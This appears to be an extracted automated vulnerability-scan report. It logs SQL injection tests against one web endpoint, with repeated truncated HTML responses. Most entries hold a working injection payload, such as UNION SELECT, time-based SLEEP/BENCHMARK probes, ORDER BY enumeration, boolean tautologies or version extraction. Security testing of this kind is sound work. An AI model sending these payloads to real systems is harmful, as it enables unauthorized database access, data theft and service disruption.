AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1849
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' UNION SELECT sum(columnname ) from 
tablename --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1850Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 1,2
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1851
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A'))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1852
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1853
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# ')) or (('x'))=(('x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1854
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 29
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1855
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '&'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1856
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 7--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1857
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '
%'='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1858
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1859
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1860
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# OR 3409=3409 AND ('pytW' LIKE '
pytY
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1861
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# and (select substring(@@version,1,1))='X'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1862
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# benchmark(50000000,MD5(1))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1863Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# OR 3409=3409 AND ('pytW' LIKE '
pytW
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1864
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 7#
